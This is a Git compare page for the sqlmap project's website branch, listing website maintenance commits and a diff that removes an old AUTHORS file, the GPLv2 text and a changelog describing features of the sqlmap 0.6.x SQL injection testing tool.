Compare commits

..
137 Commits
Author SHA1 Message Date
Bernardo Damele A. G. 1a0fe21916 Added back GA script 2026-06-14 01:11:59 +02:00
Bernardo Damele A. G. d9a66f8a42 Remove old avatar image 2026-06-08 13:33:42 +02:00
Bernardo Damele A. G. 293cbc46b9 Added og author and publish dates 2026-06-08 13:15:23 +02:00
Bernardo Damele A. G. 7abd534459 Ignore MacOS file system hidden files 2026-06-08 13:08:01 +02:00
Bernardo Damele A. G. 1ef8a01952 Improved og card and removed padding from demo video 2026-06-08 13:04:36 +02:00
Bernardo Damele A. G. fbb391ed83 slight adjustment to logo for preview 2026-06-07 20:58:44 +02:00
Bernardo Damele A. G. 75db14db89 removed legacy website 2026-06-07 20:47:36 +02:00
Bernardo Damele A. G. 590ae9fec2 updated website 2026-06-07 20:46:25 +02:00
Bernardo Damele A. G. f941ac74d0 updated logo and favicon 2026-06-07 20:38:12 +02:00
Bernardo Damele A. G. 1d8b9f07b4 Added original logo 2026-06-07 13:39:50 +02:00
Bernardo Damele A. G. 5f43a868bb Added new logo and favicons 2026-06-07 13:08:15 +02:00
Miroslav Stampar bc1726e094 Adding Spanner to the list of supported DBMSes 2026-03-14 10:57:15 +01:00
Miroslav Stampar c6f904aa72 Adding Snowflake to the list of supported DBMSes 2026-01-12 21:58:32 +01:00
Miroslav Stampar b87094bd82 Removing latest style updates 2025-12-26 01:06:55 +01:00
Miroslav Stampar 87b6b2e503 Minor style fix for the frontpage 2025-12-26 00:55:44 +01:00
Miroslav Stampar ae37564eae Minor style update of the frontpage 2025-12-26 00:43:41 +01:00
Miroslav Stampar 29917f4eee TwitterJS doesn't work any more (due to policy changes) 2025-07-26 17:01:26 +02:00
Miroslav Stampar b5264ff5aa Minor update of supported DBMSes 2025-05-08 16:22:44 +02:00
Miroslav Stampar 28cac215e1 Year bump 2025-01-02 00:48:01 +01:00
Bernardo Damele A. G. bfb345f92b Updated Google Analytics script 2024-10-27 10:20:58 +01:00
Miroslav Stampar 03c198997a Copyright year bump 2024-01-03 23:31:42 +01:00
Miroslav Stampar efb3f4591d Minor update of supported DBMSes 2023-12-08 01:33:57 +01:00
Bernardo Damele A. G fd4bd96847 Update index.html
Minor improvement to PayPal donation link
2023-11-20 10:35:21 +00:00
Bernardo Damele A. G b79419d552 Updated PayPal donation link 2023-11-19 15:14:47 +00:00
Miroslav Stampar fec6e149de Adding entry for ClickHouse DBMS 2023-02-04 00:32:22 +01:00
Miroslav Stampar 6f4f1b4a42 Copyright year bump 2023-01-02 23:52:41 +01:00
Bernardo Damele A. G 79c84365ec Update index.html
Updated Donations paragraph
2022-07-14 09:46:18 +00:00
Miroslav Stampar 1540393048 Copyright year bump 2022-01-03 11:45:33 +01:00
Miroslav Stampar 6455db487e Minor update 2021-05-17 10:44:56 +02:00
Bernardo Damele A. G a400a5355c updated donation section 2021-03-11 18:15:41 +00:00
Miroslav Stampar 3c5b3685d5 Minor update 2021-02-15 14:13:37 +01:00
Miroslav Stampar 57eae1485e Year bump 2021-01-24 14:25:01 +01:00
Miroslav Stampar 3a87264926 Minor update 2021-01-13 11:51:19 +01:00
Miroslav Stampar c66c9e2619 Minor adjustments 2020-11-10 22:32:27 +01:00
Miroslav Stampar 88c76be503 Update regarding sponsorship 2020-11-10 22:22:28 +01:00
Miroslav Stampar 05a7b979f9 Update of supported DBMSes 2020-03-02 13:17:46 +01:00
Miroslav Stampar 03fb315c88 Minor update 2020-02-26 17:36:02 +01:00
Miroslav Stampar 6c87fa5b99 Update of supported DBMSes 2020-02-25 12:36:30 +01:00
Miroslav Stampar 46a315f32c Update of supported DBMSes 2020-02-03 21:47:55 +01:00
Miroslav Stampar f49141f716 Update of supported DBMSes 2020-02-02 15:13:10 +01:00
Miroslav Stampar 89f86e057c Update of supported DBMSes 2020-01-31 21:33:31 +01:00
Miroslav Stampar a6b3104600 Added support for TiDB 2020-01-23 23:37:36 +01:00
Miroslav Stampar 0521da949a Added support for Presto 2020-01-23 17:02:39 +01:00
Miroslav Stampar 6a02f97756 Minor update 2020-01-22 23:44:13 +01:00
Miroslav Stampar 4b80a02462 Minor update 2020-01-21 23:29:17 +01:00
Miroslav Stampar 0e6d72acab Adding new DBMS on list 2020-01-21 15:42:04 +01:00
Miroslav Stampar 40e2e781e7 Minor update 2020-01-20 16:33:52 +01:00
Miroslav Stampar 09f88dab39 Added support for MonetDB 2020-01-17 17:16:32 +01:00
Miroslav Stampar ea10d25920 Year bump 2020-01-01 13:37:05 +01:00
Miroslav Stampar 1ed325e890 Minor update 2019-11-15 09:40:56 +01:00
Miroslav Stampar fe8826610b Adding tarsier eyes 2019-10-23 15:28:45 +02:00
Miroslav Stampar 14b564c254 Updating main sqlmap screenshot (with newer color style) 2019-04-30 10:49:29 +02:00
Miroslav Stampar f57b1e8bbb update_copyright_year() 2019-01-05 23:02:40 +01:00
Miroslav Stampar 4494a57e69 Update of supported DBMSes 2018-10-16 14:57:53 +02:00
Miroslav Stampar d64413d84b Minor update 2018-10-04 23:01:04 +02:00
Miroslav Stampar f73c36b1ad Update of Netsparker content 2018-10-02 12:25:38 +02:00
Miroslav Stampar 5df443194e Update of a year 2018-08-28 14:37:42 +02:00
Miroslav Stampar 86fd2c6b36 Updating banner link 2018-01-12 14:44:21 +01:00
Miroslav Stampar 2e14521087 Update of license link 2017-10-11 15:05:07 +02:00
Miroslav Stampar 96039cfea8 Update of sponsorship (newline missing) 2017-10-10 14:42:16 +02:00
Miroslav Stampar c155f285f6 Update of sponsorship (text) 2017-10-10 14:31:38 +02:00
Miroslav Stampar 47a697254f Update of sponsorship (link) 2017-10-10 14:12:39 +02:00
Miroslav Stampar b9b0d31bd4 Sponsorship update (image) 2017-10-10 13:48:35 +02:00
Miroslav Stampar a32f2ba106 Sponsorship update 2017-10-10 13:45:06 +02:00
Bernardo Damele A. G 82c7a3bd8e fixed Twitter handler 2017-10-02 20:23:02 +01:00
Miroslav Stampar cee9c15014 Update index.html 2017-04-18 14:25:16 +02:00
Miroslav Stampar 7476e762a3 Removing deprecated stuff 2017-04-07 15:36:04 +02:00
Miroslav Stampar 0c413e80f2 Update index.html 2017-01-02 14:35:13 +01:00
Miroslav Stampar 113ae101b5 Update index.html 2017-01-02 14:33:11 +01:00
Miroslav Stampar 583282b062 Adding Informix to list of supported DBMSes 2016-09-26 17:34:41 +02:00
Miroslav Stampar 27f0a9655b Minor update 2016-05-24 17:44:17 +02:00
Miroslav Stampar d08ff6c76d Minor update 2016-05-24 17:41:48 +02:00
Miroslav Stampar 4ab701d0c1 Update of given demo (with latest revision) 2016-05-24 17:37:20 +02:00
Miroslav Stampar 7fed7ece57 Adding an easter egg for web scanners 2016-05-12 12:19:10 +02:00
Miroslav Stampar 0cbb2e5213 Update index.html 2016-01-06 00:09:06 +01:00
Miroslav Stampar a7754fe1e6 Update index.html 2015-12-07 00:50:59 +01:00
Miroslav Stampar a161a8a9ec Update index.html 2015-12-07 00:47:25 +01:00
Miroslav Stampar f77b6e5609 Update index.html 2015-12-07 00:28:36 +01:00
Miroslav Stampar 73407a38ac Update index.html 2015-01-14 22:38:28 +01:00
Miroslav Stampar da3c068d28 Update index.html 2015-01-06 15:07:04 +01:00
Miroslav Stampar 69548f3ba9 Update for an Issue #996 2014-12-07 07:50:57 +01:00
Bernardo Damele A. G. b169393080 Create README.md 2014-11-21 15:44:28 +00:00
Miroslav Stampar 88a35cba8b Revert of last commit
To be consistent with LICENSE
2014-10-31 00:20:26 +01:00
Miroslav Stampar 5b5dd8ca7e Consistency update (with the below data) 2014-10-30 23:39:09 +01:00
Miroslav Stampar 9611e86ea9 Update index.html 2014-10-02 21:29:06 +02:00
Miroslav Stampar 5f961bde64 Update stylesheet.css 2014-10-02 21:04:42 +02:00
Miroslav Stampar 899f725faa Minor fix (hide also timeline when size is constrained - same as for buttons) 2014-10-02 17:11:45 +02:00
Miroslav Stampar 45dd03864c Adding twitter widget and minor fix on resize 2014-10-02 17:02:43 +02:00
Miroslav Stampar aedfa32a65 Minor update 2014-10-02 16:12:09 +02:00
Miroslav Stampar de7f68e286 Update 2014-10-02 15:50:15 +02:00
Miroslav Stampar ba16f6d1c6 Spicing up a bit 2014-10-02 11:04:22 +02:00
Miroslav Stampar 3915b6b404 Style update 2014-10-02 10:35:31 +02:00
Miroslav Stampar b626bf19b3 Minor style update 2014-10-02 10:11:14 +02:00
Miroslav Stampar da4f1766d6 Update index.html 2014-10-01 15:34:01 +02:00
Miroslav Stampar bbd7c869a2 Update index.html 2014-10-01 15:28:27 +02:00
Miroslav Stampar 9cc5c789eb Update index.html 2014-10-01 15:26:23 +02:00
Miroslav Stampar 152edcedcd Update index.html 2014-10-01 14:34:28 +02:00
Miroslav Stampar b0f3fd2b93 Update index.html 2014-10-01 14:32:08 +02:00
Miroslav Stampar 7dc3858eff Update index.html
See https://github.com/sqlmapproject/sqlmap/commit/11a925a06fc25464dc48f9e3531b4df57ca1a2bf for details
2013-07-01 11:19:43 +02:00
Miroslav Stampar 11a925a06f API v1 of Twitter API is deprecated 2013-07-01 11:09:34 +02:00
Miroslav Stampar de87f0dec7 Update index.html 2013-06-13 21:26:37 +03:00
Miroslav Stampar 7781df431f Update index.html 2013-06-13 21:25:44 +03:00
Miroslav Stampar 4ed9766eb8 Update index.html 2013-06-05 01:00:19 +03:00
Miroslav Stampar b8c5cbc31d Update index.html 2013-05-28 11:51:22 +02:00
Miroslav Stampar c0a485f68d There was a bug displaying Twitter statuses 2013-04-22 13:18:18 +03:00
Miroslav Stampar 8bac07c38d Adding anchors 2013-02-12 10:55:39 +01:00
Bernardo Damele cd1a936bfd changed donations email address 2012-08-30 10:50:21 +01:00
Miroslav Stampar 001dec05db Minor fix 2012-08-03 14:13:16 +02:00
Bernardo Damele c55eeefd65 change of email 2012-07-25 11:23:54 +01:00
Bernardo Damele 30524f3f22 minor fix 2012-07-16 22:57:13 +01:00
Bernardo Damele bc1d0a19ed minor fix 2012-07-16 22:57:03 +01:00
Bernardo Damele fccaced18e minor fix 2012-07-16 22:56:40 +01:00
Bernardo Damele 3cde119fd7 minor update to homepage 2012-07-16 22:55:48 +01:00
Bernardo Damele 7bc76558ec Update gh-pages 2012-07-16 18:16:27 +02:00
Bernardo Damele f6e8d5c564 added FAQ link to homepage 2012-07-16 18:14:34 +02:00
Bernardo Damele a68d107c18 Update gh-pages 2012-07-16 18:03:24 +02:00
Bernardo Damele 854a35be6c reordered paragraphs 2012-07-16 16:28:52 +01:00
Bernardo Damele 4e4c1a2eca updated homepage 2012-07-16 16:20:15 +01:00
Miroslav Stampar b471a64c98 minor language update 2012-06-27 14:37:44 +02:00
Miroslav Stampar 74d2147de8 some more language fixes 2012-06-27 14:03:03 +02:00
Miroslav Stampar 9c54758922 minor language fix 2012-06-27 13:57:38 +02:00
Bernardo Damele 8f7a1af64b added CNAME file for website 2012-06-27 11:32:36 +01:00
Bernardo Damele 92b98a9782 Deleted twitter image from root 2012-06-27 11:21:35 +01:00
Bernardo Damele 640206f53e added blog link 2012-06-27 11:17:34 +01:00
Bernardo Damele 5db6f4fef7 Moved twitter image to images/ 2012-06-27 11:16:40 +01:00
Bernardo Damele 192dcb8f38 updated homepage 2012-06-27 11:15:13 +01:00
Bernardo Damele e7a353a78c added missing files 2012-06-27 11:15:02 +01:00
Bernardo Damele 677e34cb95 enhancement to homepage 2012-06-27 11:13:00 +01:00
Bernardo Damele cd3778f675 added favicon 2012-06-27 11:12:41 +01:00
Bernardo Damele 9918e02ca9 minor layout adjustments 2012-06-27 11:07:36 +01:00
Bernardo Damele 4a0273ad47 minor layout adjustments 2012-06-27 11:06:16 +01:00
Bernardo Damele cacd271953 minor layout adjustments 2012-06-27 11:03:42 +01:00
Bernardo Damele 89461e6273 minor layout adjustments 2012-06-27 11:03:04 +01:00
Bernardo Damele 0c5f7562e1 minor layout adjustments 2012-06-27 11:01:39 +01:00
Bernardo Damele 6229da3b0a minor layout adjustments 2012-06-27 10:56:33 +01:00
Bernardo Damele 264be1c274 minor layout adjustments 2012-06-27 10:55:40 +01:00
Bernardo Damele 5682a85075 Create gh-pages branch via GitHub 2012-06-27 02:47:28 -07:00
122 changed files with 68 additions and 27877 deletions
+7
View File
@@ -0,0 +1,7 @@
.DS_Store
.github/.DS_Store
data/.DS_Store
extra/.DS_Store
lib/.DS_Store
plugins/.DS_Store
thirdparty/.DS_Store
+1
View File
@@ -0,0 +1 @@
sqlmap.org
+1
View File
@@ -0,0 +1 @@
sqlmap.org website
Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

-7
View File
@@ -1,7 +0,0 @@
Bernardo Damele A. G. (inquis) - project leader, core developer
<[email protected]>
PGP Key ID: 0x05F5A30F
Daniele Bellucci (belch) - project founder, initial developer
<[email protected]>
PGP Key ID: 0x9A0E8190
-340
View File
@@ -1,340 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
-343
View File
@@ -1,343 +0,0 @@
sqlmap (0.6.4-1) stable; urgency=low
* Major enhancement to make the comparison algorithm work properly also
on url not stables automatically by using the difflib Sequence Matcher
object;
* Major enhancement to support SQL data definition statements, SQL data
manipulation statements, etc from user in SQL query and SQL shell if
stacked queries are supported by the web application technology;
* Major speed increase in DBMS basic fingerprint;
* Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator;
* Minor enhancement to support an option (--union-tech) to specify the
technique to use to detect the number of columns used in the web
application SELECT statement: NULL bruteforcing (default) or ORDER BY
clause bruteforcing;
* Added internal support to forge CASE statements, used only by --is-dba
query at the moment;
* Minor layout adjustment to the --update output;
* Increased default timeout to 30 seconds;
* Major bug fix to correctly handle custom SQL "limited" queries on
Microsoft SQL Server and Oracle;
* Major bug fix to avoid tracebacks when multiple targets are specified
and one of them is not reachable;
* Minor bug fix to make the Partial UNION query SQL injection technique
work properly also on Oracle and Microsoft SQL Server;
* Minor bug fix to make the --postfix work even if --prefix is not
provided;
* Updated documentation.
-- Bernardo Damele A. G. <[email protected]> Tue, 3 Feb 2009 23:30:00 +0000
sqlmap (0.6.3-1) stable; urgency=low
* Major enhancement to get list of targets to test from Burp proxy
(http://portswigger.net/suite/) requests log file path or WebScarab
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
'conversations/' folder path by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection
technique too;
* Major enhancement to test if the web application technology supports
stacked queries (multiple statements) by providing option
--stacked-test which will be then used someday also by takeover
functionality;
* Major enhancement to test if the injectable parameter is affected by
a time based blind SQL injection technique by providing option
--time-test;
* Minor enhancement to fingerprint the web server operating system and
the web application technology by parsing some HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by
parsing the DBMS banner value when -b option is provided;
* Minor enhancement to be able to specify the number of seconds before
timeout the connection by providing option --timeout #, default is set
to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait
between each HTTP request by providing option --delay #;
* Minor enhancement to be able to get the injection payload --prefix and
--postfix from user;
* Minor enhancement to be able to enumerate table columns and dump table
entries, also when the database name is not provided, by using the
current database on MySQL and Microsoft SQL Server, the 'public'
scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
* Minor enhancemet to support also --regexp, --excl-str and --excl-reg
options rather than only --string when comparing HTTP responses page
content;
* Minor enhancement to be able to specify extra HTTP headers by providing
option --headers. By default Accept, Accept-Language and Accept-Charset
headers are set;
* Minor improvement to be able to provide CU (as current user) as user
value (-U) when enumerating users privileges or users passwords;
* Minor improvements to sqlmap Debian package files;
* Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
library if available to speed up the sqlmap algorithmic operations;
* Minor improvement to retry the HTTP request up to three times in case
an exception is raised during the connection to the target url;
* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
* Major bug fix so that when the user provide a SELECT statement to be
processed with an asterisk as columns, now it also work if in the FROM
there is no database name specified;
* Minor bug fix to correctly dump table entries when the column is
provided;
* Minor bug fix to correctly handle session.error, session.timeout and
httplib.BadStatusLine exceptions in HTTP requests;
* Minor bug fix to correctly catch connection exceptions and notify to
the user also if they occur within a thread;
* Increased default output level from 0 to 1;
* Updated documentation.
-- Bernardo Damele A. G. <[email protected]> Thu, 18 Dec 2008 10:00:00 +0000
sqlmap (0.6.2-1) stable; urgency=low
* Major bug fix to correctly dump tables entries when --stop is not
specified;
* Major bug fix so that the users' privileges enumeration now works
properly also on both MySQL < 5.0 and MySQL >= 5.0;
* Major bug fix when the request is POST to also send the GET parameters
if any have been provided;
* Major bug fix to correctly update sqlmap to the latest stable release
with command line --update;
* Major bug fix so that when the expected value of a query (count
variable) is an integer and, for some reasons, its resumed value from
the session file is a string or a binary file, the query is executed
again and its new output saved to the session file;
* Minor bug fix in MySQL comment injection fingerprint technique;
* Minor improvement to correctly enumerate tables, columns and dump
tables entries on Oracle and on PostgreSQL when the database name is
not 'public' schema or a system database;
* Minor improvement to be able to dump entries on MySQL < 5.0 when
database name, table name and column(s) are provided;
* Updated the database management system fingerprint checks to correctly
identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
* More user-friendly warning messages.
-- Bernardo Damele A. G. <[email protected]> Sun, 2 Nov 2008 19:00:00 +0000
sqlmap (0.6.1-1) stable; urgency=low
* Major bug fix to blind SQL injection bisection algorithm to handle an
exception;
* Added a Metasploit Framework 3 auxiliary module to run sqlmap;
* Implemented possibility to test for and inject also on LIKE
statements;
* Implemented --start and --stop options to set the first and the last
table entry to dump;
* Added non-interactive/batch-mode (--batch) option to make it easy to
wrap sqlmap in Metasploit and any other tool;
* Minor enhancement to save also the length of query output in the
session file when retrieving the query output length for ETA or for
resume purposes;
* Changed the order sqlmap dump table entries from column by column to
row by row. Now it also dumps entries as they are stored in the tables,
not forcing the entries' order alphabetically anymore;
* Minor bug fix to correctly handle parameters' value with % character.
-- Bernardo Damele A. G. <[email protected]> Fri, 20 Oct 2008 10:00:00 +0000
sqlmap (0.6-1) stable; urgency=low
* Complete code refactor and many bugs fixed;
* Added multithreading support to set the maximum number of concurrent
HTTP requests;
* Implemented SQL shell (--sql-shell) functionality and fixed SQL query
(--sql-query, before called -e) to be able to run whatever SELECT
statement and get its output in both inband and blind SQL injection
attack;
* Added an option (--privileges) to retrieve DBMS users privileges, it
also notifies if the user is a DBMS administrator;
* Added support (-c) to read options from configuration file, an example
of valid INI file is sqlmap.conf and support (--save) to save command
line options on a configuration file;
* Created a function that updates the whole sqlmap to the latest stable
version available by running sqlmap with --update option;
